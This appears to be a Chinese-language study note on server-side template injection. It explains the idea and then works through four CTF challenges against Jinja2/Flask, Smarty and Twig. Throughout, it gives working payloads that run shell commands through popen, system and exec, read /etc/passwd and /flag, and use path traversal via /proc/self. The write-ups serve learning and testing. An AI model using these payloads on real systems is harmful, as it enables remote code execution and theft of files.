参考文章：
一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云 (tencent.com)
python-flask模块注入(SSTI) - ctrl_TT豆 - 博客园 (cnblogs.com)
ssti详解与例题以及绕过payload大全_ssti绕过空格-CSDN博客
1. SSTI（模板注入）漏洞（入门篇） - bmjoker - 博客园 (cnblogs.com)
SSTI服务端模板注入漏洞原理详解及利用姿势集锦 - 2ha0yuk7on - 博客园 (cnblogs.com)
基础概念理解（以flask模板为例）
- 模板引擎用于使用动态数据呈现内容。模板包括Ruby,Java,Twig,Smarty,AngularJS,Tornado,Flask/jinja2,Django，thymeleaf等。
- 就像SQL注入一样，攻击者通过在注入点构造恶意的sql语句去读取数据库数据。攻击者在进行SSTI攻击时，构造恶意的模板代码去干预模板渲染的过程，也会造成敏感信息泄露等问题
payload基础
sql注入中会有information.schema这样的重要库去爆出敏感信息，模板注入借助的是各个类之间的继承关系和一些重要的魔术方法，而object类是所有类的父类。
# 基本payload
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()## [].__class__：根据前面的变量形式可以得到其所属的类<class 'list'>
__class__：返回一个实例所属的类## __bases__[0]：获取object父类
__base__：返回该对象所继承的基类
__mro__：和__bases__一样，返回所有的父类## __subclasses__()[40]：获取所有子类，在所有子类中获取可以利用的类
__subclasses__：以列表返回类的子类## [40]('/etc/passwd').read()：在类中获取可以利用的方法，执行命令
这里利用的是file类的read方法绕过姿势
SSTI漏洞利用及绕过总结(绕过姿势多样)_java ssti漏洞-CSDN博客
CTF实例
BUUCTF-NewStarCTF2023-week3-GenShin（jinja2）
1.一开始用dirsearch去扫描目录，发现有/robots.txt和/console文件，以为有用，但是这道题考察的是ssiti注入。
2.看wp才知道，在根目录下有敏感目录/secr3tofpop，访问后需要输入name参数，这里有注入点。先用{{7*7}}尝试，发现被过滤。
3.最终payload：
?name={%print([].__class__.__base__.__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat%20/flag").read())%}__subclasses__()[132]是os._wrap_close类，在第132个。这个类有popen方法，需要先使用__enter__方法再调用__globals__可以获取方法内以字典的形式返回的方法、属性等值。
BUUCTF-N1BOOK-第一章web入门 afr_3（flask session伪造）
1.页面一直进入到article，尝试输入?name=flag，显示no permission，应该是要更改cookie的session值。当输入index.php时，显示了index.php的路径：/home/nu11111111l/articles/index.php
2. 尝试使用../等来进行任意文件读取。
payload1:
?name=../../../proc/self/cmdlineLinux系统上的/proc目录是一种文件系统，即proc文件系统，存储的是当前内核运行状态的一系列特殊文件，用户可以通过这些文件查看有关系统硬件及当前运行进程的信息，甚至可以通过更改其中这些文件来改变内核运行状态。
/proc/self 表示当前进程目录
/proc/self/cmdline 获取启动当前进程的完整命令。
3.得到运行命令：python server.py，再通过以下命令查看源码
payload2：
?name=../../../../proc/self/cwd/server.pycwd文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录。
4.分析源码，发现运行了两个文件：flag.py, key.py。访问flag.py还是显示no permission，访问key.py，得到密钥。
5.在n1page方法里用到了render_template_string()方法，并且也用到了格式化字符串，可以判断这里存在模板注入。
在/n1page页面对post输入n1code进行了过滤，没有办法通过传入n1code的值来实现注入，但是可以直接更改session的值来操控输出，这里session被app.secret_key进行了加密。
ssti payload：
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}6.在这里要用kali下载flask-session-cookie-manager，执行命令：
BUUCTF-[CISCN2019 华东南赛区]Web11（smarty）
1.打开靶场，发现页面下方先是Build With Smarty !，说明模板引擎为smarty。
2.尝试修改XFF，用{$smarty.version}确认是否有漏洞，可以看到smarty的版本号。
3.因为smarty3已经弃用了{php}{/php}标签，所以这里用不了。
如果可以利用{php}{/php}标签，可以使用{php}{/php}标签来执行被包裹其中的php指令。
例如：{php}phpinfo();{/php}
4.对于php5的环境可以用以下payload，但是这道题是php7，所以这种方法也不行
x-forwarded-for: <script language="php">system('cat /flag')</script>
5.还可以用静态方法，但是在这里也不行。
6. 最终用的是if标签，在标签里面放置php命令
payload1:
x-forwarded-for: {if system('cat /flag')}{/if}
或者直接用{system('cat /flag')}也可以得到flag
BUUCTF-[BJDCTF2020]Cookie is so stable（Twig）
1.根据题目，用bp抓包，可以发现在/flag.php随便输入123时，可以抓到两个请求包，第2个请求包会在cookie里添加user参数，应该存在注入点。判断模板引擎，先输入{{7*7}}，回显49，再输入{{7*'7'}}，还是回显49，为Twig模板。
2.用以下payload判断Twig模板的版本。
Twig1.x的模板注入就是利用_self.env中的方法进行注入，_self会返回当前模板的实例，env会指向Twig_Environment，所以就是利用Twig_Environment中的其他方法。
因为在Twig 2.x及Twig 3.x，_self的作用发生了变化，只能返回当前实例名字符串，所以以下payload只能适用于Twig 1.x。
payload1：
Cookie:user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
3. 最后用以下payload得到flag。
payload：
Cookie: user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
